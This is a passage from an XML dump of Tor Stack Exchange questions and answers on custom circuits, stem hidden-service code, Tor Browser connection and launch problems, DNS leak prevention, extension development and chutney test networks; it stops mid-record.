  <row Id="10482" PostTypeId="2" ParentId="9472" CreationDate="2016-05-17T09:37:49.240" Score="2" Body="&lt;p&gt;You can build entirely custom circuits using the control port through &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n897&quot; rel=&quot;nofollow&quot;&gt;EXTENDCIRCUIT&lt;/a&gt;, then attach streams to the circuits using &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/control-spec.txt#n942&quot; rel=&quot;nofollow&quot;&gt;ATTACHSTREAM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is little real use or merit for restricting the entry, exit or middle node in some static manner through the torrc, I don't think there's an &quot;approved&quot; or even &quot;good&quot; or &quot;consistent&quot; way to do it, except taking ExcludeNodes and StrictNodes to ridiculous extremes. If you want to play about with custom circuits, use the control port. Stem, txtorcon, and similar libraries have helper functions for these things. Maybe have a look at how exitmap uses stem for it's circuit building.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-17T09:37:49.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10483" PostTypeId="2" ParentId="10190" CreationDate="2016-05-17T11:22:30.743" Score="0" Body="&lt;p&gt;Something similar to this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from stem import control&#xA;controller = control.Controller.from_port(address=TOR_CONTROL_HOST, port=TOR_CONTROL_PORT)&#xA;controller.authenticate()&#xA;key = 'raw-base64-of-the-rsa-1024-key-here'&#xA;onion = controller.create_ephemeral_hidden_service(ports=80, discard_key=True, await_publication=True, key_type='RSA1024', key_content=key)&#xA;if not onion.is_ok():&#xA;    raise Exception('Failed to publish onion.')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my case loading the contents of 'key' from a file and if it wasn't there then generating a new one from tor itself by reading the results of publishing a totally ephemeral hidden service.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;onion = controller.create_ephemeral_hidden_service(ports=80, discard_key=False, await_publication=True)&#xA;if not onion.is_ok():&#xA;    raise Exception('Failed to publish onion.')&#xA;for o in onion:&#xA;    if o != &quot;OK&quot;:&#xA;        k, v = o.split('=', 1)&#xA;        if k == &quot;PrivateKey&quot;:&#xA;            do_stuff_to_save_private_key(v)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-17T11:22:30.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10485" PostTypeId="2" ParentId="10440" CreationDate="2016-05-17T21:43:53.460" Score="1" Body="&lt;p&gt;Currently there is a bug &quot;&lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/18947&quot; rel=&quot;nofollow&quot;&gt;6.0a5 is not starting on OS X if put into /Applications&lt;/a&gt;&quot; in Tor browser. This bug is fixed and after the next release it should be working again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you put the Tor Browser on the Desktop or any other place where you have write permissions it will also work. The ticket also suggests if you run &lt;code&gt;tor.real&lt;/code&gt; from the commandline it works also.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2016-05-17T21:43:53.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10486" PostTypeId="1" CreationDate="2016-05-17T22:32:28.343" Score="1" ViewCount="243" Body="&lt;p&gt;Tor browser has different security levels. What are these and what are the main differences between them?&lt;/p&gt;&#xA;" OwnerUserId="1880" LastActivityDate="2016-05-18T01:02:14.610" Title="What are the differences between security levels?" Tags="|security|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10487" PostTypeId="1" CreationDate="2016-05-17T23:06:32.440" Score="1" ViewCount="79" Body="&lt;p&gt;I have an application using orchid where I need to have multiple connections, all using different exit nodes, to a server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible using Orchid, and if it is, how would I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Orchid doesn't have &lt;strong&gt;any&lt;/strong&gt; documentation, so sorry if this is a basic question. &lt;/p&gt;&#xA;" OwnerUserId="12917" LastActivityDate="2016-05-17T23:06:32.440" Title="Multiple connections across different exit nodes in Orchid" Tags="|exit-relays|java|orchid|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10489" PostTypeId="2" ParentId="10486" CreationDate="2016-05-18T01:02:14.610" Score="2" Body="&lt;p&gt;If you hover over the names of the various security levels on the Privacy and Security Settings it should provide a brief synopsis of the various things that they each do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a more detailed view you can look at the settings it is toggling in the &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/tree/src/chrome/content/torbutton.js#n2301&quot; rel=&quot;nofollow&quot;&gt;torbutton code base&lt;/a&gt;, and for some of the reasoning behind the choices see the &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/9387&quot; rel=&quot;nofollow&quot;&gt;ticket it was created under&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-18T01:02:14.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10493" PostTypeId="2" ParentId="10433" CreationDate="2016-05-18T16:25:46.257" Score="1" Body="&lt;p&gt;I had the same problem with Tor not opening while Webroot was running, after May 1, 2016, when it did open earlier. I checked the Event Viewer and saw the faulting application path was to firefox.exe in the Tor browser folder. So, I went to Identity Protection in Webroot and looked in Application Protection to find that firefox.exe entry. There were several firefox.exe entries but only one that was in the Tor browser folder. On that one, I changed the setting from &quot;Protect&quot; to &quot;Allow.&quot; And that worked to allow me to open Tor.&lt;/p&gt;&#xA;" OwnerUserId="12928" LastActivityDate="2016-05-18T16:25:46.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10494" PostTypeId="1" CreationDate="2016-05-18T16:51:19.910" Score="2" ViewCount="2764" Body="&lt;pre&gt;&lt;code&gt;5/21/2016 23:33:12 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/21/2016 23:33:12 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/21/2016 23:33:12 PM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/21/2016 23:33:12 PM.300 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/21/2016 23:33:12 PM.300 [NOTICE] Renaming old configuration file to &quot;C:\Program Files (x86)\New folder\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;5/21/2016 23:33:12 PM.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;5/21/2016 23:33:34 PM.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;5/21/2016 23:33:34 PM.800 [NOTICE] Bootstrapped 15%: Establishing an encrypted directory connection &#xA;5/21/2016 23:33:34 PM.800 [NOTICE] Bootstrapped 20%: Asking for networkstatus consensus &#xA;5/21/2016 23:33:34 PM.900 [NOTICE] Bootstrapped 25%: Loading networkstatus consensus &#xA;5/21/2016 23:33:38 PM.700 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no usable consensus. &#xA;5/21/2016 23:33:39 PM.400 [NOTICE] Bootstrapped 40%: Loading authority key certs &#xA;5/21/2016 23:33:40 PM.100 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 0:53:27 AM.500 [NOTICE] Your system clock just jumped 2617 seconds forward; assuming established circuits no longer work. &#xA;5/22/2016 0:53:27 AM.500 [WARN] Problem bootstrapping. Stuck at 40%: Loading authority key certs. (No route to host [WSAEHOSTUNREACH ]; NOROUTE; count 2; recommendation warn; host 43868B33C3A3772C74CF9545CC2CC6E62D770D27 at 130.184.75.118:9001) &#xA;5/22/2016 0:53:27 AM.500 [WARN] 1 connections have failed: &#xA;5/22/2016 0:53:27 AM.500 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/22/2016 2:09:56 AM.200 [WARN] Problem bootstrapping. Stuck at 40%: Loading authority key certs. (No route to host [WSAEHOSTUNREACH ]; NOROUTE; count 3; recommendation warn; host 9504CB22EEB25D344DE63CB7A6F2C46F895C3686 at 46.101.102.71:443) &#xA;5/22/2016 2:09:56 AM.200 [WARN] 1 connections have failed: &#xA;5/22/2016 2:09:56 AM.200 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/22/2016 2:09:56 AM.200 [WARN] Problem bootstrapping. Stuck at 40%: Loading authority key certs. (No route to host [WSAEHOSTUNREACH ]; NOROUTE; count 4; recommendation warn; host BEEF6A5841D293F98DB79BFD80F8C1A480A1A886 at 212.83.138.123:443) &#xA;5/22/2016 2:09:56 AM.200 [WARN] 1 connections have failed: &#xA;5/22/2016 2:09:56 AM.200 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/22/2016 2:09:56 AM.200 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 2:09:56 AM.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 2:09:56 AM.200 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 2:09:56 AM.200 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;5/22/2016 2:09:56 AM.200 [NOTICE] Your system clock just jumped 1282 seconds forward; assuming established circuits no longer work. &#xA;5/22/2016 2:09:57 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 2:09:57 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 2:09:57 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 2:09:57 AM.400 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 2:10:00 AM.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 2:10:44 AM.100 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 2:10:44 AM.100 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 2:10:44 AM.100 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 2:10:44 AM.700 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;5/22/2016 3:44:04 AM.500 [NOTICE] Your system clock just jumped 1621 seconds forward; assuming established circuits no longer work. &#xA;5/22/2016 3:45:01 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:45:01 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:45:01 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:45:01 AM.800 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 3:45:04 AM.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 3:46:36 AM.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 3:46:36 AM.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:46:36 AM.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 3:46:36 AM.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;5/22/2016 3:51:02 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:51:02 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:51:02 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:51:02 AM.500 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 3:51:10 AM.400 [NOTICE] new bridge descriptor 'ndnop0' (fresh): $1E05F577A0EC0213F971D81BF4D86A9E4E8229ED~ndnop0 at 109.105.109.163 &#xA;5/22/2016 3:51:10 AM.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 3:51:10 AM.400 [NOTICE] new bridge descriptor 'ndnop2' (fresh): $4C331FA9B3D1D6D8FB0D8FBBF0C259C360D97E6A~ndnop2 at 109.105.109.163 &#xA;5/22/2016 3:51:10 AM.400 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 3:51:13 AM.300 [NOTICE] new bridge descriptor 'Unnamed' (fresh): $AF9F66B7B04F8FF6F32D455F05135250A16543C9~Unnamed at 169.229.59.74 &#xA;5/22/2016 3:51:13 AM.300 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 3:51:13 AM.700 [NOTICE] new bridge descriptor 'LeifEricson' (fresh): $A09D536DD1752D542E1FBB3C9CE4449D51298239~LeifEricson at 83.212.101.3 &#xA;5/22/2016 3:51:13 AM.700 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 3:52:00 AM.500 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 3:52:00 AM.500 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:52:00 AM.500 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 3:52:00 AM.500 [NOTICE] Delaying directory fetches: DisableNetwork is set. &#xA;5/22/2016 3:52:37 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:52:37 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:52:37 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 3:52:37 AM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 3:57:20 AM.600 [WARN] Problem bootstrapping. Stuck at 40%: Loading authority key certs. (DONE; DONE; count 7; recommendation warn; host 46D4A71197B8FA515A826C6B017C522FE264655B at 0.0.2.0:1) &#xA;5/22/2016 3:57:20 AM.600 [WARN] 4 connections have failed: &#xA;5/22/2016 3:57:20 AM.600 [WARN]  3 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/22/2016 3:57:20 AM.600 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/22/2016 5:33:46 AM.800 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 5:33:46 AM.800 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 5:33:46 AM.800 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 5:33:46 AM.800 [NOTICE] Your system clock just jumped 4093 seconds forward; assuming established circuits no longer work. &#xA;5/22/2016 5:33:46 AM.800 [NOTICE] Heartbeat: Tor's uptime is 3:20 hours, with 0 circuits open. I've sent 88 kB and received 1.87 MB. &#xA;5/22/2016 5:33:46 AM.800 [NOTICE] Average packaged cell fullness: 35.415%. TLS write overhead: 9% &#xA;5/22/2016 5:33:57 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 5:33:57 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 5:33:57 AM.000 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 5:33:57 AM.000 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 5:34:11 AM.800 [NOTICE] Bridge 'starman' has both an IPv4 and an IPv6 address.  Will prefer using its IPv4 address (0.0.2.0:3) based on the configured Bridge address. &#xA;5/22/2016 5:34:11 AM.800 [NOTICE] new bridge descriptor 'starman' (fresh): $A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44~starman at 0.0.2.0 &#xA;5/22/2016 5:34:11 AM.800 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 5:34:22 AM.000 [NOTICE] I learned some more directory information, but not enough to build a circuit: We have no recent usable consensus. &#xA;5/22/2016 5:34:31 AM.900 [NOTICE] Delaying directory fetches: No running bridges &#xA;5/22/2016 6:48:23 AM.400 [NOTICE] Your system clock just jumped 1151 seconds forward; assuming established circuits no longer work. &#xA;5/22/2016 6:48:23 AM.400 [WARN] Problem bootstrapping. Stuck at 40%: Loading authority key certs. (DONE; DONE; count 8; recommendation warn; host A2C13B7DFCAB1CBF3A884B6EB99A98067AB6EF44 at 0.0.2.0:3) &#xA;5/22/2016 6:48:23 AM.400 [WARN] 5 connections have failed: &#xA;5/22/2016 6:48:23 AM.400 [WARN]  4 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;5/22/2016 6:48:23 AM.400 [WARN]  1 connections died in state connect()ing with SSL state (No SSL object) &#xA;5/22/2016 6:48:31 AM.400 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;5/22/2016 6:48:31 AM.400 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;5/22/2016 6:48:31 AM.400 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12927" LastEditorUserId="112" LastEditDate="2016-05-18T17:39:23.247" LastActivityDate="2016-11-16T17:16:19.363" Title="My tor browser can't connect" Tags="|tor-browser-bundle|" AnswerCount="0" CommentCount="4" ClosedDate="2017-04-21T20:47:44.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="10498" PostTypeId="1" AcceptedAnswerId="10501" CreationDate="2016-05-19T17:34:59.403" Score="1" ViewCount="5747" Body="&lt;p&gt;How do I know if my applications are leaking DNS and what are the methods preventing Tor DNS leaks?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This question is not about all traffic as asked &lt;a href=&quot;https://tor.stackexchange.com/q/19/1880&quot;&gt;here&lt;/a&gt;, and not about testing it, but it's specific for preventing DNS leaks.&lt;/p&gt;&#xA;" OwnerUserId="1880" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2016-05-20T08:47:01.973" Title="How to prevent DNS leaks?" Tags="|dns|ip-address-leak|" AnswerCount="2" CommentCount="2" ClosedDate="2016-05-24T20:08:01.893" ContentLicense="CC BY-SA 3.0" />
  <row Id="10499" PostTypeId="2" ParentId="10498" CreationDate="2016-05-19T20:04:23.023" Score="2" Body="&lt;p&gt;I do recommend to use an anonymizing routing box and make a &lt;code&gt;tcpdump&lt;/code&gt; running on it's internal interface where your device/PC is connected. Every leak will be &lt;strong&gt;hard routed&lt;/strong&gt; to/through Tor via firewall or local DNS server, but you will see &lt;em&gt;what&lt;/em&gt; leaks and &lt;em&gt;where to&lt;/em&gt;. I'm using this method when evaluating mobile devices&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-19T20:04:23.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10500" PostTypeId="1" AcceptedAnswerId="10503" CreationDate="2016-05-19T23:39:35.983" Score="3" ViewCount="45" Body="&lt;p&gt;I've been trying to develop a Tor Browser extension for my own use, but can't seem to get it to access any tab content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just as an example, I start with this code in my primary &lt;code&gt;index.js&lt;/code&gt; file: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var self = require(&quot;sdk/self&quot;);&#xA;var tabs = require(&quot;sdk/tabs&quot;);&#xA;&#xA;function logURL(tab) { &#xA;    console.log(tab.url);&#xA;    tab.attach({&#xA;        contentScript: &quot;if (document.body) document.body.style.border = '5px solid red';&quot;&#xA;    });&#xA;}&#xA;tabs.on(&quot;ready&quot;, logURL);&#xA;tabs.open(&quot;&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will both open a new tab and change the border of any tab that has content &lt;em&gt;in regular Firefox&lt;/em&gt;, but will only open a new tab in Tor Browser 5.5.5. No matter what I do, I can't seem to access tab content. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some setting I need to change to enable this behavior in Tor Browser?&lt;/p&gt;&#xA;" OwnerUserId="12936" LastActivityDate="2016-05-20T08:36:20.400" Title="Extension development: Can't access tab data" Tags="|firefox|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10501" PostTypeId="2" ParentId="10498" CreationDate="2016-05-19T23:51:25.763" Score="2" Body="&lt;p&gt;Related question: &lt;a href=&quot;https://tor.stackexchange.com/questions/19/how-can-i-test-an-application-for-proxy-leaks&quot;&gt;How can I test an application for proxy leaks?&lt;/a&gt; (duplicate?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Viewing  the traffic can tell you &lt;em&gt;if&lt;/em&gt; they &lt;em&gt;have&lt;/em&gt; leaked, nothing short of thorough code review can tell you &lt;em&gt;if&lt;/em&gt; it ever &lt;em&gt;will&lt;/em&gt; leak. &lt;em&gt;The fact that nothing has gone wrong should not be taken as an indication that nothing will go wrong&lt;/em&gt;. For example, you might find that there are weird edge cases that you almost never use which do result in taking a strange code-path that skips your proxy settings. There are quite a few patches that Tor Browser applies to Firefox to ensure &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/#proxy-obedience&quot; rel=&quot;nofollow&quot;&gt;&quot;Proxy Obedience&quot;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since large and complex code bases are infeasible for a personal effort to audit (and even if you did audit them now, who knows what they'd do next release), you should consider using a restrictive set of packetfilter rules, to ensure that traffic that does not leave through Tor is not allowed to leave at all, that it &quot;fails closed&quot;. You can see how this might be approached by looking at how tails currently sets up it's iptables rules through &lt;a href=&quot;https://git-tails.immerda.ch/tails/plain/config/chroot_local-includes/etc/ferm/ferm.conf&quot; rel=&quot;nofollow&quot;&gt;ferm.conf&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should also consider not using apps that haven't been through any kind of robust testing for privacy and anonymity implications. Worse than a DNS leak might be applications leaking identifying information as part of their normal functionality and no amount of packet filtering or isolating proxies will solve that problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Considering only accidental leaks to be in scope here, not a malicious attempt to subvert anti-leaking measures...that question is a deep dark rabbithole)&lt;/p&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2016-05-19T23:51:25.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10503" PostTypeId="2" ParentId="10500" CreationDate="2016-05-20T08:36:20.400" Score="-1" Body="&lt;p&gt;No, ther're some tweaks in FF code for TBB, and you're hitting one of them. The purpose of these tweaks is precisly &lt;em&gt;full prevention&lt;/em&gt; of &quot;jailbreaking&quot;, i.e. requesting data from the place different from your point-of-execution. such tweaking is called/&quot;referred as&quot; sandboxing&lt;/p&gt;&#xA;" OwnerUserId="9291" LastActivityDate="2016-05-20T08:36:20.400" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10504" PostTypeId="1" CreationDate="2016-05-20T08:44:38.310" Score="1" ViewCount="1469" Body="&lt;p&gt;I am a Japanese university student. I believe that you want to create a private tow network with the chutney.I would like to be able to see the route using the Tor-Browser.How Could you tell me how to use and the optimal environment of chutney.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Environment of my machine is as follows:&#xA;virtual machine: VMwareplayer&#xA;OS:Lubuntu14.04&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have entered a command I get an error as follows:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;~$ git clone &lt;a href=&quot;https://git.torproject.org/chutney.git&quot; rel=&quot;nofollow&quot;&gt;https://git.torproject.org/chutney.git&lt;/a&gt;&#xA;  Cloning into 'chutney'...&#xA;  remote: Counting objects: 591, done.&#xA;  remote: Compressing objects: 100% (376/376), done.&#xA;  remote: Total 591 (delta 315), reused 277 (delta 137)&#xA;  Receiving objects: 100% (591/591), 95.29 KiB | 0 bytes/s, done.&#xA;  Resolving deltas: 100% (315/315), done.&#xA;  Checking connectivity... done.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;~$ cd chutney&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;~/chutney$ ./chutney configure networks/basic&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Using Python 2.7.6&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Creating identity key /home/j13187ys/chutney/net/nodes/000a/keys/authority_identity_key for test000a with tor-gencert --create-identity-key --passphrase-fd 0 -i /home/j13187ys/chutney/net/nodes/000a/keys/authority_identity_key -s /home/j13187ys/chutney/net/nodes/000a/keys/authority_signing_key -c /home/j13187ys/chutney/net/nodes/000a/keys/authority_certificate -m 12 -a 127.0.0.1:7000&#xA;  Cannot find tor-gencert binary 'tor-gencert'. Use CHUTNEY_TOR_GENCERT environment variable to set the path, or put the binary into $PATH.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;~/chutney$ sudo apt-get install tor&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;~/chutney$ ./chutney configure networks/basic&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Using Python 2.7.6&#xA;  NOTE: renaming '/home/j13187ys/chutney/net/nodes' to '/home/j13187ys/chutney/net/nodes.1463765026'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Creating identity key /home/j13187ys/chutney/net/nodes/000a/keys/authority_identity_key for test000a with tor-gencert --create-identity-key --passphrase-fd 0 -i /home/j13187ys/chutney/net/nodes/000a/keys/authority_identity_key -s /home/j13187ys/chutney/net/nodes/000a/keys/authority_signing_key -c /home/j13187ys/chutney/net/nodes/000a/keys/authority_certificate -m 12 -a 127.0.0.1:7000&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Creating identity key /home/j13187ys/chutney/net/nodes/001a/keys/authority_identity_key for test001a with tor-gencert --create-identity-key --passphrase-fd 0 -i /home/j13187ys/chutney/net/nodes/001a/keys/authority_identity_key -s /home/j13187ys/chutney/net/nodes/001a/keys/authority_signing_key -c /home/j13187ys/chutney/net/nodes/001a/keys/authority_certificate -m 12 -a 127.0.0.1:7001&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Creating identity key /home/j13187ys/chutney/net/nodes/002a/keys/authority_identity_key for test002a with tor-gencert --create-identity-key --passphrase-fd 0 -i /home/j13187ys/chutney/net/nodes/002a/keys/authority_identity_key -s /home/j13187ys/chutney/net/nodes/002a/keys/authority_signing_key -c /home/j13187ys/chutney/net/nodes/002a/keys/authority_certificate -m 12 -a 127.0.0.1:7002&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteGuard *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'Sandbox 1'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingServerConsensusDownloadSchedule 0, 5'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteExit *'&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The tor binary at 'tor' does not support the option in the torrc line:&#xA;  'TestingDirAuthVoteHSDir *'&lt;/p&gt;&#xA;  